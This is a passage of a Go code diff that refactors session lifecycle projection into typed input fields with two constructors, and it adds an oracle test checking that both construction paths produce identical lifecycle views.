+	return exitAccrual("churn_count", priorCycles+1, maxCycles, string(SleepReasonContextChurn), until)
 }
 
 func exitAccrual(counterKey string, next, threshold int, sleepReason string, until time.Time) ExitAccrual {
@@ -223,7 +199,7 @@ func RateLimitQuarantinePatch(until time.Time) MetadataPatch {
 	return MetadataPatch{
 		"state":                     string(StateAsleep),
 		"quarantined_until":         until.UTC().Format(time.RFC3339),
-		"sleep_reason":              "rate_limit",
+		"sleep_reason":              string(SleepReasonRateLimit),
 		"last_woke_at":              "",
 		"pending_create_claim":      "",
 		"pending_create_started_at": "",
diff --git a/internal/session/lifecycle_input_test.go b/internal/session/lifecycle_input_test.go
new file mode 100644
index 0000000000..238dca49d1
--- /dev/null
+++ b/internal/session/lifecycle_input_test.go
@@ -0,0 +1,213 @@
+package session
+
+import (
+	"reflect"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+// TestLifecycleInputConstructorsProjectIdentically is the byte-identical oracle
+// guarding the Step-4B typed LifecycleInput: for every representative session
+// bead shape, feeding ProjectLifecycle from the raw metadata map
+// (LifecycleInputFromMetadata) must yield the exact same LifecycleView as
+// feeding it from the projected session.Info (LifecycleInputFromInfo ∘
+// InfoFromPersistedBead). Both paths cover the thirteen metadata keys
+// ProjectLifecycle reads, including missing-key-vs-empty-string and the closed
+// status that LifecycleInputFromInfo reconstructs from Info.Closed.
+func TestLifecycleInputConstructorsProjectIdentically(t *testing.T) {
+	now := time.Date(2026, 5, 3, 9, 0, 0, 0, time.UTC)
+	future := now.Add(time.Hour).Format(time.RFC3339)
+	past := now.Add(-time.Hour).Format(time.RFC3339)
+
+	tests := []struct {
+		name               string
+		status             string
+		meta               map[string]string
+		runtime            RuntimeFacts
+		createdAt          time.Time
+		staleCreatingAfter time.Duration
+	}{
+		{
+			name:   "empty metadata open",
+			status: "open",
+			meta:   map[string]string{},
+		},
+		{
+			name:   "nil metadata open",
+			status: "open",
+			meta:   nil,
+		},
+		{
+			name:   "empty metadata closed",
+			status: "closed",
+			meta:   map[string]string{},
+		},
+		{
+			name:   "closed status wins over stale active state",
+			status: "closed",
+			meta:   map[string]string{"state": "active"},
+		},
+		{
+			name:   "all thirteen keys populated",
+			status: "open",
+			meta: map[string]string{
+				"state":                     "asleep",
+				"sleep_reason":              "user-hold",
+				"continuity_eligible":       "true",
+				"configured_named_identity": "worker",
+				"held_until":                future,
+				"quarantined_until":         future,
+				"pending_create_claim":      "true",
+				"last_woke_at":              past,
+				"session_key":               "conv-1",
+				"started_config_hash":       "hash-1",
+				"pending_create_started_at": past,
+				"pin_awake":                 "true",
+				"wake_request":              "explicit",
+			},
+			runtime: RuntimeFacts{Observed: true, Alive: false},
+		},
+		{
+			name:   "creating stale with pending create claim and last woke",
+			status: "open",
+			meta: map[string]string{
+				"state":                "creating",
+				"session_key":          "old-conv",
+				"pending_create_claim": "true",
+				"last_woke_at":         now.Add(-2 * time.Minute).Format(time.RFC3339),
+			},
+			runtime:            RuntimeFacts{Observed: true, Alive: false},
+			createdAt:          now.Add(-2 * time.Minute),
+			staleCreatingAfter: time.Minute,
+		},
+		{
+			name:   "creating fresh via pending create started at",
+			status: "open",
+			meta: map[string]string{
+				"state":                     "creating",
+				"pending_create_started_at": now.Add(-10 * time.Second).Format(time.RFC3339),
+			},
+			runtime:            RuntimeFacts{Observed: true, Alive: false},
+			createdAt:          now.Add(-2 * time.Minute),
+			staleCreatingAfter: time.Minute,
+		},
+		{
+			name:   "future holds block",
+			status: "open",
+			meta: map[string]string{
+				"state":             "asleep",
+				"held_until":        future,
+				"quarantined_until": future,
+				"pin_awake":         "true",
+			},
+		},
+		{
+			name:   "expired holds do not block",
+			status: "open",
+			meta: map[string]string{
+				"state":             "asleep",
+				"held_until":        past,
+				"quarantined_until": past,
+				"pin_awake":         "true",
+			},
+		},
+		{
+			name:   "archived continuity eligible",
+			status: "open",
+			meta: map[string]string{
+				"state":                     "archived",
+				"continuity_eligible":       "true",
+				"configured_named_identity": "worker",
+			},
+		},
+		{
+			name:   "archived continuity ineligible",
+			status: "open",
+			meta: map[string]string{
+				"state":               "archived",
+				"continuity_eligible": "false",
+			},
+		},
+		{
+			name:   "non explicit wake request is not a cause",
+			status: "open",
+			meta: map[string]string{
+				"state":        "asleep",
+				"wake_request": "work",
+			},
+		},
+		{
+			name:   "dead active runtime resets stale resume identity",
+			status: "open",
+			meta: map[string]string{
+				"state":               "active",
+				"session_key":         "old-conv",
+				"started_config_hash": "old-hash",
+			},
+			runtime: RuntimeFacts{Observed: true, Alive: false},
+		},
+		{
+			name:   "keys present but empty strings",
+			status: "open",
+			meta: map[string]string{
+				"state":                     "",
+				"sleep_reason":              "",
+				"continuity_eligible":       "",
+				"configured_named_identity": "",
+				"held_until":                "",
+				"quarantined_until":         "",
+				"pending_create_claim":      "",
+				"last_woke_at":              "",
+				"session_key":               "",
+				"started_config_hash":       "",
+				"pending_create_started_at": "",
+				"pin_awake":                 "",
+				"wake_request":              "",
+			},
+		},
+		{
+			name:   "whitespace padded values trim identically",
+			status: "open",
+			meta: map[string]string{
+				"state":                " creating ",
+				"pending_create_claim": " true ",
+				"pin_awake":            " true ",
+				"wake_request":         " explicit ",
+			},
+			runtime: RuntimeFacts{Observed: true, Alive: false},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			b := beads.Bead{
+				ID:        "s-oracle",
+				Type:      "session",
+				Status:    tt.status,
+				Metadata:  tt.meta,
+				CreatedAt: tt.createdAt,
+			}
+
+			fromMeta := LifecycleInputFromMetadata(b.Status, b.Metadata)
+			fromInfo := LifecycleInputFromInfo(InfoFromPersistedBead(b))
+
+			// The caller supplies external facts identically to both inputs;
+			// only the thirteen metadata-derived fields and the Status may
+			// differ between the two construction paths.
+			for _, in := range []*LifecycleInput{&fromMeta, &fromInfo} {
+				in.Runtime = tt.runtime
+				in.CreatedAt = tt.createdAt
+				in.StaleCreatingAfter = tt.staleCreatingAfter
+				in.Now = now
+			}
+
+			gotMeta := ProjectLifecycle(fromMeta)
+			gotInfo := ProjectLifecycle(fromInfo)
+			if !reflect.DeepEqual(gotMeta, gotInfo) {
+				t.Fatalf("projection diverged between FromMetadata and FromInfo:\n from meta = %#v\n from info = %#v", gotMeta, gotInfo)
+			}
+		})
+	}
+}
diff --git a/internal/session/lifecycle_projection.go b/internal/session/lifecycle_projection.go
index 46944f3607..daa9ffcd9b 100644
--- a/internal/session/lifecycle_projection.go
+++ b/internal/session/lifecycle_projection.go
@@ -157,10 +157,30 @@ type NamedIdentityInput struct {
 	DuplicateCanonical bool
 }
 
-// LifecycleInput is the read-only fact set for projecting lifecycle state.
+// LifecycleInput is the read-only fact set for projecting lifecycle state. The
+// thirteen metadata-derived fields below are the only persisted session-bead
+// keys ProjectLifecycle reads; build them with LifecycleInputFromMetadata (from
+// a raw metadata map) or LifecycleInputFromInfo (from a projected session.Info)
+// so the metadata-key literals stay below the codec edge.
 type LifecycleInput struct {
-	Status             string
-	Metadata           map[string]string
+	Status string
+
+	// Persisted metadata fields — the thirteen keys ProjectLifecycle reads.
+	StoredState             string // "state"
+	SleepReason             string // "sleep_reason"
+	ContinuityEligible      string // "continuity_eligible" (raw; projected to bool)
+	ConfiguredNamedIdentity string // NamedSessionIdentityMetadata
+	HeldUntil               string // "held_until"
+	QuarantinedUntil        string // "quarantined_until"
+	PendingCreateClaim      bool   // "pending_create_claim" == "true"
+	LastWokeAt              string // "last_woke_at"
+	SessionKey              string // "session_key"
+	StartedConfigHash       string // "started_config_hash"
+	PendingCreateStartedAt  string // "pending_create_started_at"
+	PinAwake                string // "pin_awake"
+	WakeRequest             string // "wake_request"
+
+	// External facts — not derived from persisted metadata.
 	Runtime            RuntimeFacts
 	NamedIdentity      NamedIdentityInput
 	WakeCauses         []WakeCause
@@ -171,6 +191,60 @@ type LifecycleInput struct {
 	Now                time.Time
 }
 
+// LifecycleInputFromMetadata builds the status plus the thirteen
+// metadata-derived fields ProjectLifecycle reads from a raw session-bead
+// metadata map, keeping the metadata-key literals below the codec edge. Callers
+// set the remaining external-fact fields (Now, Runtime, NamedIdentity,
+// CreatedAt, StaleCreatingAfter, WakeCauses, PreserveIdentity, ConfigMissing)
+// afterward.
+func LifecycleInputFromMetadata(status string, meta map[string]string) LifecycleInput {
+	return LifecycleInput{
+		Status:                  status,
+		StoredState:             meta["state"],
+		SleepReason:             meta["sleep_reason"],
+		ContinuityEligible:      meta["continuity_eligible"],
+		ConfiguredNamedIdentity: meta[NamedSessionIdentityMetadata],
+		HeldUntil:               meta["held_until"],
+		QuarantinedUntil:        meta["quarantined_until"],
+		PendingCreateClaim:      strings.TrimSpace(meta["pending_create_claim"]) == "true",
+		LastWokeAt:              meta["last_woke_at"],
+		SessionKey:              meta["session_key"],
+		StartedConfigHash:       meta["started_config_hash"],
+		PendingCreateStartedAt:  meta["pending_create_started_at"],
+		PinAwake:                meta["pin_awake"],
+		WakeRequest:             meta["wake_request"],
+	}
+}
+
+// LifecycleInputFromInfo builds the status plus the thirteen metadata-derived
+// fields ProjectLifecycle reads from an already-projected session.Info, so the
+// reconciler can feed the lifecycle projection off its typed snapshot without
+// re-cracking the raw metadata map. Status is reconstructed from Info.Closed —
+// the only status fact the projection consumes (projectBaseState special-cases
+// only "closed"). Callers set the remaining external-fact fields afterward.
+func LifecycleInputFromInfo(info Info) LifecycleInput {
+	status := ""
+	if info.Closed {
+		status = "closed"
+	}
+	return LifecycleInput{
+		Status:                  status,
+		StoredState:             info.MetadataState,
+		SleepReason:             info.SleepReason,
+		ContinuityEligible:      info.ContinuityEligible,
+		ConfiguredNamedIdentity: info.ConfiguredNamedIdentity,
+		HeldUntil:               info.HeldUntil,
+		QuarantinedUntil:        info.QuarantinedUntil,
+		PendingCreateClaim:      info.PendingCreateClaim,
+		LastWokeAt:              info.LastWokeAt,
+		SessionKey:              info.SessionKey,
+		StartedConfigHash:       info.StartedConfigHash,
+		PendingCreateStartedAt:  info.PendingCreateStartedAt,
+		PinAwake:                info.PinAwake,
+		WakeRequest:             info.WakeRequest,
+	}
+}
+
 // LifecycleView is the typed lifecycle interpretation of stored metadata and
 // runtime/config facts.
 type LifecycleView struct {
@@ -243,11 +317,9 @@ func LifecycleDisplayReason(status string, metadata map[string]string, now time.
 	if metadata == nil {
 		return ""
 	}
-	view := ProjectLifecycle(LifecycleInput{
-		Status:   status,
-		Metadata: metadata,
-		Now:      now,
-	})
+	input := LifecycleInputFromMetadata(status, metadata)
+	input.Now = now
+	view := ProjectLifecycle(input)
 	return lifecycleDisplayReasonFromView(view, metadata)
 }
 
@@ -257,11 +329,9 @@ func LifecycleDisplayReasonWithLiveness(status string, metadata map[string]strin
 	if metadata == nil {
 		return ""
 	}
-	view := ProjectLifecycle(LifecycleInput{
-		Status:   status,
-		Metadata: metadata,
-		Now:      now,
-	})
+	input := LifecycleInputFromMetadata(status, metadata)
+	input.Now = now
+	view := ProjectLifecycle(input)
 	if lifecycleResetPendingReasonVisible(view, metadata, sessionName, isRunning) {
 		return LifecycleReasonResetPending
 	}
@@ -274,11 +344,9 @@ func LifecycleResetPendingReasonVisible(status string, metadata map[string]strin
 	if metadata == nil {
 		return false
 	}
-	view := ProjectLifecycle(LifecycleInput{
-		Status:   status,
-		Metadata: metadata,
-		Now:      now,
-	})
+	input := LifecycleInputFromMetadata(status, metadata)
+	input.Now = now
+	view := ProjectLifecycle(input)
 	return lifecycleResetPendingReasonVisible(view, metadata, sessionName, isRunning)
 }
 
@@ -292,25 +360,26 @@ func lifecycleDisplayReasonFromView(view LifecycleView, metadata map[string]stri
 	if strings.TrimSpace(metadata[SessionCircuitStateMetadataKey]) == SessionCircuitStateOpen {
 		return LifecycleReasonCircuitOpen
 	}
-	if reason := strings.TrimSpace(metadata["sleep_reason"]); reason != "" {
-		staleTimedQuarantine := (reason == "quarantine" || reason == "context-churn" || reason == "rate_limit") &&
+	if raw := strings.TrimSpace(metadata["sleep_reason"]); raw != "" {
+		reason := SleepReason(raw)
+		staleTimedQuarantine := (reason == SleepReasonQuarantine || reason == SleepReasonContextChurn || reason == SleepReasonRateLimit) &&
 			strings.TrimSpace(metadata["quarantined_until"]) != "" &&
 			!view.HasBlocker(BlockerQuarantined)
-		staleTimedHold := reason == "user-hold" &&
+		staleTimedHold := reason == SleepReasonUserHold &&
 			strings.TrimSpace(metadata["held_until"]) != "" &&
 			!view.HasBlocker(BlockerHeld)
 		if !staleTimedQuarantine && !staleTimedHold {
-			return reason
+			return raw
 		}
 	}
 	if view.HasBlocker(BlockerQuarantined) {
-		return "quarantine"
+		return string(SleepReasonQuarantine)
 	}
 	if strings.TrimSpace(metadata["wait_hold"]) != "" {
-		return "wait-hold"
+		return string(SleepReasonWaitHold)
 	}
 	if view.HasBlocker(BlockerHeld) {
-		return "user-hold"
+		return string(SleepReasonUserHold)
 	}
 	return ""
 }
@@ -336,10 +405,7 @@ func lifecycleResetPendingReasonVisible(view LifecycleView, metadata map[string]
 // LifecycleWakeConflictState reports terminal lifecycle states that should
 // reject explicit wake requests.
 func LifecycleWakeConflictState(status string, metadata map[string]string) (string, bool) {
-	return lifecycleWakeConflictState(ProjectLifecycle(LifecycleInput{
-		Status:   status,
-		Metadata: metadata,
-	}))
+	return lifecycleWakeConflictState(ProjectLifecycle(LifecycleInputFromMetadata(status, metadata)))
 }
 
 func lifecycleWakeConflictState(view LifecycleView) (string, bool) {
@@ -364,10 +430,7 @@ func lifecycleWakeConflictState(view LifecycleView) (string, bool) {
 // LifecycleIdentityReleased reports whether a bead no longer owns its
 // user-facing session identity and should not be treated as an active owner.
 func LifecycleIdentityReleased(status string, metadata map[string]string) bool {
-	view := ProjectLifecycle(LifecycleInput{
-		Status:   status,
-		Metadata: metadata,
-	})
+	view := ProjectLifecycle(LifecycleInputFromMetadata(status, metadata))
 	return !view.ContinuityEligible && LifecycleIdentifiersReleased(metadata)
 }
 
@@ -382,31 +445,27 @@ func LifecycleIdentifiersReleased(metadata map[string]string) bool {
 // ProjectLifecycle projects raw session metadata plus external facts into the
 // lifecycle vocabulary from the session model design.
 func ProjectLifecycle(input LifecycleInput) LifecycleView {
-	meta := input.Metadata
-	if meta == nil {
-		meta = map[string]string{}
-	}
 	now := input.Now
 	if now.IsZero() {
 		now = time.Now().UTC()
 	}
 
-	storedState := strings.TrimSpace(meta["state"])
-	sleepReason := strings.TrimSpace(meta["sleep_reason"])
+	storedState := strings.TrimSpace(input.StoredState)
+	sleepReason := strings.TrimSpace(input.SleepReason)
 	baseState := projectBaseState(input.Status, storedState, sleepReason)
 	compatState := compatStateForBase(baseState)
 	terminal := baseState == BaseStateClosed || baseState == BaseStateClosing
-	continuityEligible := projectContinuityEligibility(baseState, strings.TrimSpace(meta["continuity_eligible"]))
+	continuityEligible := projectContinuityEligibility(baseState, strings.TrimSpace(input.ContinuityEligible))
 
 	namedIdentity := strings.TrimSpace(input.NamedIdentity.Identity)
 	if namedIdentity == "" {
-		namedIdentity = strings.TrimSpace(meta[NamedSessionIdentityMetadata])
+		namedIdentity = strings.TrimSpace(input.ConfiguredNamedIdentity)
 	}
 	identity := projectIdentity(input, namedIdentity, baseState, continuityEligible)
 
-	wakeCauses := projectWakeCauses(input, meta)
+	wakeCauses := projectWakeCauses(input)
 	runtimeProjection, reconciledState, resetContinuation := projectRuntimeProjection(input, baseState, compatState, sleepReason, wakeCauses)
-	blockers, heldUntil, quarantinedUntil := projectBlockers(input, meta, now, baseState, identity)
+	blockers, heldUntil, quarantinedUntil := projectBlockers(input, now, baseState, identity)
 	desired := projectDesiredState(input, terminal, blockers, wakeCauses)
 
 	return LifecycleView{
@@ -540,7 +599,7 @@ func projectIdentity(input LifecycleInput, namedIdentity string, base BaseState,
 	return IdentityNone
 }
 
-func projectBlockers(input LifecycleInput, meta map[string]string, now time.Time, base BaseState, identity IdentityProjection) ([]LifecycleBlocker, time.Time, time.Time) {
+func projectBlockers(input LifecycleInput, now time.Time, base BaseState, identity IdentityProjection) ([]LifecycleBlocker, time.Time, time.Time) {
 	var blockers []LifecycleBlocker
 	if input.ConfigMissing || base == BaseStateOrphaned {
 		blockers = appendUniqueBlocker(blockers, BlockerMissingConfig)
@@ -553,7 +612,7 @@ func projectBlockers(input LifecycleInput, meta map[string]string, now time.Time
 	}
 
 	var heldUntil time.Time
-	if t, err := time.Parse(time.RFC3339, strings.TrimSpace(meta["held_until"])); err == nil && !t.IsZero() {
+	if t, err := time.Parse(time.RFC3339, strings.TrimSpace(input.HeldUntil)); err == nil && !t.IsZero() {
 		heldUntil = t
 		if now.Before(t) {
 			blockers = appendUniqueBlocker(blockers, BlockerHeld)
@@ -561,7 +620,7 @@ func projectBlockers(input LifecycleInput, meta map[string]string, now time.Time
 	}
 
 	var quarantinedUntil time.Time
-	if t, err := time.Parse(time.RFC3339, strings.TrimSpace(meta["quarantined_until"])); err == nil && !t.IsZero() {
+	if t, err := time.Parse(time.RFC3339, strings.TrimSpace(input.QuarantinedUntil)); err == nil && !t.IsZero() {
 		quarantinedUntil = t
 		if now.Before(t) {
 			blockers = appendUniqueBlocker(blockers, BlockerQuarantined)
@@ -589,8 +648,8 @@ func projectRuntimeProjection(input LifecycleInput, base BaseState, compat State
 	// rows that never reached the start boundary have no last_woke_at; project
 	// those back to start-pending so the controller can safely start them.
 	if base == BaseStateCreating {
-		if strings.TrimSpace(input.Metadata["pending_create_claim"]) == "true" &&
-			strings.TrimSpace(input.Metadata["last_woke_at"]) == "" {
+		if input.PendingCreateClaim &&
+			strings.TrimSpace(input.LastWokeAt) == "" {
 			return RuntimeProjectionStartRequested, StateStartPending, false
 		}
 		if !creatingStateIsStale(input) {
@@ -599,7 +658,7 @@ func projectRuntimeProjection(input LifecycleInput, base BaseState, compat State
 			}
 			return RuntimeProjectionFreshCreating, StateCreating, false
 		}
-		return RuntimeProjectionStaleCreating, StateAsleep, shouldResetContinuation(base, input.Metadata, sleepReason)
+		return RuntimeProjectionStaleCreating, StateAsleep, shouldResetContinuation(base, input, sleepReason)
 	}
 	if base == BaseStateFailedCreate {
 		return RuntimeProjectionMissing, StateFailedCreate, false
@@ -607,7 +666,7 @@ func projectRuntimeProjection(input LifecycleInput, base BaseState, compat State
 	if hasWakeCause(wakeCauses, WakeCausePendingCreate) {
 		return RuntimeProjectionStartRequested, StateStartPending, false
 	}
-	return RuntimeProjectionMissing, StateAsleep, shouldResetContinuation(base, input.Metadata, sleepReason)
+	return RuntimeProjectionMissing, StateAsleep, shouldResetContinuation(base, input, sleepReason)
 }
 
 func creatingStateIsStale(input LifecycleInput) bool {
@@ -619,11 +678,9 @@ func creatingStateIsStale(input LifecycleInput) bool {
 		now = time.Now().UTC()
 	}
 	startedAt := input.CreatedAt
-	if input.Metadata != nil {
-		if v := strings.TrimSpace(input.Metadata["pending_create_started_at"]); v != "" {
-			if t, err := time.Parse(time.RFC3339, v); err == nil && !t.IsZero() {
-				startedAt = t
-			}
+	if v := strings.TrimSpace(input.PendingCreateStartedAt); v != "" {
+		if t, err := time.Parse(time.RFC3339, v); err == nil && !t.IsZero() {
+			startedAt = t
 		}
 	}
 	if startedAt.IsZero() {
@@ -632,32 +689,36 @@ func creatingStateIsStale(input LifecycleInput) bool {
 	return !now.Before(startedAt.Add(input.StaleCreatingAfter))
 }
 
-func shouldResetContinuation(base BaseState, meta map[string]string, sleepReason string) bool {
-	if meta == nil {
-		return false
-	}
-	if strings.TrimSpace(meta["session_key"]) == "" && strings.TrimSpace(meta["started_config_hash"]) == "" {
+func shouldResetContinuation(base BaseState, input LifecycleInput, sleepReason string) bool {
+	if strings.TrimSpace(input.SessionKey) == "" && strings.TrimSpace(input.StartedConfigHash) == "" {
 		return false
 	}
-	switch strings.TrimSpace(sleepReason) {
-	case "idle", "idle-timeout", "no-wake-reason", "config-drift", "drained", "city-stop", "user-hold", "wait-hold", "rate_limit", "runtime-missing":
+	// This list deliberately diverges from IsDeliberateSleepReason's near-identical
+	// list (this one has "runtime-missing" and lacks "failed-create"): that one
+	// decides churn suppression, this one decides continuation reset on wake — do
+	// not merge the lists.
+	switch SleepReason(strings.TrimSpace(sleepReason)) {
+	case SleepReasonIdle, SleepReasonIdleTimeout, SleepReasonNoWakeReason,
+		SleepReasonConfigDrift, SleepReasonDrained, SleepReasonCityStop,
+		SleepReasonUserHold, SleepReasonWaitHold, SleepReasonRateLimit,
+		SleepReasonRuntimeMissing:
 		return false
 	}
 	return base == BaseStateActive || base == BaseStateCreating
 }
 
-func projectWakeCauses(input LifecycleInput, meta map[string]string) []WakeCause {
+func projectWakeCauses(input LifecycleInput) []WakeCause {
 	var causes []WakeCause
 	for _, cause := range input.WakeCauses {
 		causes = appendUniqueWakeCause(causes, cause)
 	}
-	if strings.TrimSpace(meta["pending_create_claim"]) == "true" {
+	if input.PendingCreateClaim {
 		causes = appendUniqueWakeCause(causes, WakeCausePendingCreate)
 	}
-	if strings.TrimSpace(meta["wake_request"]) == string(WakeCauseExplicit) {
+	if strings.TrimSpace(input.WakeRequest) == string(WakeCauseExplicit) {
 		causes = appendUniqueWakeCause(causes, WakeCauseExplicit)
 	}
-	if strings.TrimSpace(meta["pin_awake"]) == "true" {
+	if strings.TrimSpace(input.PinAwake) == "true" {
 		causes = appendUniqueWakeCause(causes, WakeCausePinned)
 	}
 	if input.Runtime.Attached {
diff --git a/internal/session/lifecycle_projection_test.go b/internal/session/lifecycle_projection_test.go
index 2e02441b6f..dcbe1c9707 100644
--- a/internal/session/lifecycle_projection_test.go
+++ b/internal/session/lifecycle_projection_test.go
@@ -72,11 +72,9 @@ func TestProjectLifecycleNormalizesCompatibilityStates(t *testing.T) {
 			if tt.wantBase == BaseStateClosed {
 				status = "closed"
 			}
-			view := ProjectLifecycle(LifecycleInput{
-				Status:   status,
-				Metadata: tt.metadata,
-				Now:      now,
-			})
+			input := LifecycleInputFromMetadata(status, tt.metadata)
+			input.Now = now
+			view := ProjectLifecycle(input)
 
 			if view.BaseState != tt.wantBase {
 				t.Fatalf("BaseState = %q, want %q", view.BaseState, tt.wantBase)
@@ -102,13 +100,10 @@ func TestProjectLifecycleDesiredStateAndBlockers(t *testing.T) {
 		{
 			name: "pending create claim is a one-shot wake cause",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":                "creating",
-					"session_name":         "s-worker",
-					"pending_create_claim": "true",
-				},
-				Now: now,
+				Status:             "open",
+				StoredState:        "creating",
+				PendingCreateClaim: true,
+				Now:                now,
 			},
 			wantDesired: DesiredStateRunning,
 			wantCauses:  []WakeCause{WakeCausePendingCreate},
@@ -116,13 +111,10 @@ func TestProjectLifecycleDesiredStateAndBlockers(t *testing.T) {
 		{
 			name: "explicit wake request is a durable wake cause",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":        "asleep",
-					"session_name": "s-worker",
-					"wake_request": "explicit",
-				},
-				Now: now,
+				Status:      "open",
+				StoredState: "asleep",
+				WakeRequest: "explicit",
+				Now:         now,
 			},
 			wantDesired: DesiredStateRunning,
 			wantCauses:  []WakeCause{WakeCauseExplicit},
@@ -130,14 +122,11 @@ func TestProjectLifecycleDesiredStateAndBlockers(t *testing.T) {
 		{
 			name: "future hold blocks an otherwise runnable create claim",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":                "creating",
-					"session_name":         "s-worker",
-					"pending_create_claim": "true",
-					"held_until":           future,
-				},
-				Now: now,
+				Status:             "open",
+				StoredState:        "creating",
+				PendingCreateClaim: true,
+				HeldUntil:          future,
+				Now:                now,
 			},
 			wantDesired:  DesiredStateBlocked,
 			wantBlockers: []LifecycleBlocker{BlockerHeld},
@@ -146,15 +135,12 @@ func TestProjectLifecycleDesiredStateAndBlockers(t *testing.T) {
 		{
 			name: "future quarantine blocks pin wake",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":               "archived",
-					"session_name":        "s-worker",
-					"pin_awake":           "true",
-					"quarantined_until":   future,
-					"continuity_eligible": "true",
-				},
-				Now: now,
+				Status:             "open",
+				StoredState:        "archived",
+				PinAwake:           "true",
+				QuarantinedUntil:   future,
+				ContinuityEligible: "true",
+				Now:                now,
 			},
 			wantDesired:  DesiredStateBlocked,
 			wantBlockers: []LifecycleBlocker{BlockerQuarantined},
@@ -185,16 +171,13 @@ func TestProjectLifecycleDesiredStateAndBlockers(t *testing.T) {
 func TestProjectLifecycleCreatingStalenessUsesPendingCreateStartedAt(t *testing.T) {
 	now := time.Date(2026, 5, 3, 9, 0, 0, 0, time.UTC)
 	view := ProjectLifecycle(LifecycleInput{
-		Status: "open",
-		Metadata: map[string]string{
-			"state":                     string(StateCreating),
-			"session_name":              "s-worker",
-			"pending_create_started_at": now.Add(-30 * time.Second).UTC().Format(time.RFC3339),
-		},
-		Runtime:            RuntimeFacts{Observed: true, Alive: false},
-		CreatedAt:          now.Add(-2 * time.Minute),
-		StaleCreatingAfter: time.Minute,
-		Now:                now,
+		Status:                 "open",
+		StoredState:            string(StateCreating),
+		PendingCreateStartedAt: now.Add(-30 * time.Second).UTC().Format(time.RFC3339),
+		Runtime:                RuntimeFacts{Observed: true, Alive: false},
+		CreatedAt:              now.Add(-2 * time.Minute),
+		StaleCreatingAfter:     time.Minute,
+		Now:                    now,
 	})
 
 	if view.RuntimeProjection != RuntimeProjectionFreshCreating {
@@ -261,15 +244,12 @@ func TestProjectLifecycleNamedIdentityProjection(t *testing.T) {
 		{
 			name: "materialized continuity eligible named bead is canonical",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":                     "asleep",
-					"session_name":              "s-worker",
-					"configured_named_identity": "worker",
-					"continuity_eligible":       "true",
-				},
-				PreserveIdentity: true,
-				Now:              now,
+				Status:                  "open",
+				StoredState:             "asleep",
+				ConfiguredNamedIdentity: "worker",
+				ContinuityEligible:      "true",
+				PreserveIdentity:        true,
+				Now:                     now,
 			},
 			wantIdentity: IdentityCanonical,
 			wantDesired:  DesiredStateAsleep,
@@ -324,18 +304,16 @@ func TestProjectLifecycleConflictIsBlockerOverlay(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			view := ProjectLifecycle(LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":                     "asleep",
-					"session_name":              "s-worker",
-					"configured_named_identity": "worker",
-					"continuity_eligible":       "true",
-				},
-				NamedIdentity: tt.namedInput,
-				WakeCauses:    []WakeCause{WakeCauseNamedAlways},
-				Now:           now,
+			input := LifecycleInputFromMetadata("open", map[string]string{
+				"state":                     "asleep",
+				"session_name":              "s-worker",
+				"configured_named_identity": "worker",
+				"continuity_eligible":       "true",
 			})
+			input.NamedIdentity = tt.namedInput
+			input.WakeCauses = []WakeCause{WakeCauseNamedAlways}
+			input.Now = now
+			view := ProjectLifecycle(input)
 
 			if view.Identity != IdentityCanonical {
 				t.Fatalf("Identity = %q, want canonical ownership with blocker overlay", view.Identity)
@@ -363,13 +341,10 @@ func TestProjectLifecycleRuntimeLivenessProjection(t *testing.T) {
 		{
 			name: "alive runtime heals advisory state to awake",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":        "asleep",
-					"session_name": "s-worker",
-				},
-				Runtime: RuntimeFacts{Observed: true, Alive: true},
-				Now:     now,
+				Status:      "open",
+				StoredState: "asleep",
+				Runtime:     RuntimeFacts{Observed: true, Alive: true},
+				Now:         now,
 			},
 			wantRuntime:         RuntimeProjectionAlive,
 			wantReconciledState: StateAwake,
@@ -377,15 +352,12 @@ func TestProjectLifecycleRuntimeLivenessProjection(t *testing.T) {
 		{
 			name: "dead active runtime heals to asleep and resets stale resume identity",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":               "active",
-					"session_name":        "s-worker",
-					"session_key":         "old-provider-conversation",
-					"started_config_hash": "old-config",
-				},
-				Runtime: RuntimeFacts{Observed: true, Alive: false},
-				Now:     now,
+				Status:            "open",
+				StoredState:       "active",
+				SessionKey:        "old-provider-conversation",
+				StartedConfigHash: "old-config",
+				Runtime:           RuntimeFacts{Observed: true, Alive: false},
+				Now:               now,
 			},
 			wantRuntime:         RuntimeProjectionMissing,
 			wantReconciledState: StateAsleep,
@@ -394,16 +366,13 @@ func TestProjectLifecycleRuntimeLivenessProjection(t *testing.T) {
 		{
 			name: "dead active runtime with rate-limit reason preserves resume identity",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":               "active",
-					"session_name":        "s-worker",
-					"session_key":         "provider-conversation",
-					"started_config_hash": "config",
-					"sleep_reason":        "rate_limit",
-				},
-				Runtime: RuntimeFacts{Observed: true, Alive: false},
-				Now:     now,
+				Status:            "open",
+				StoredState:       "active",
+				SessionKey:        "provider-conversation",
+				StartedConfigHash: "config",
+				SleepReason:       "rate_limit",
+				Runtime:           RuntimeFacts{Observed: true, Alive: false},
+				Now:               now,
 			},
 			wantRuntime:         RuntimeProjectionMissing,
 			wantReconciledState: StateAsleep,
@@ -411,16 +380,13 @@ func TestProjectLifecycleRuntimeLivenessProjection(t *testing.T) {
 		{
 			name: "dead active runtime with runtime-missing reason preserves resume identity",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":               "active",
-					"session_name":        "s-worker",
-					"session_key":         "provider-conversation",
-					"started_config_hash": "config",
-					"sleep_reason":        "runtime-missing",
-				},
-				Runtime: RuntimeFacts{Observed: true, Alive: false},
-				Now:     now,
+				Status:            "open",
+				StoredState:       "active",
+				SessionKey:        "provider-conversation",
+				StartedConfigHash: "config",
+				SleepReason:       "runtime-missing",
+				Runtime:           RuntimeFacts{Observed: true, Alive: false},
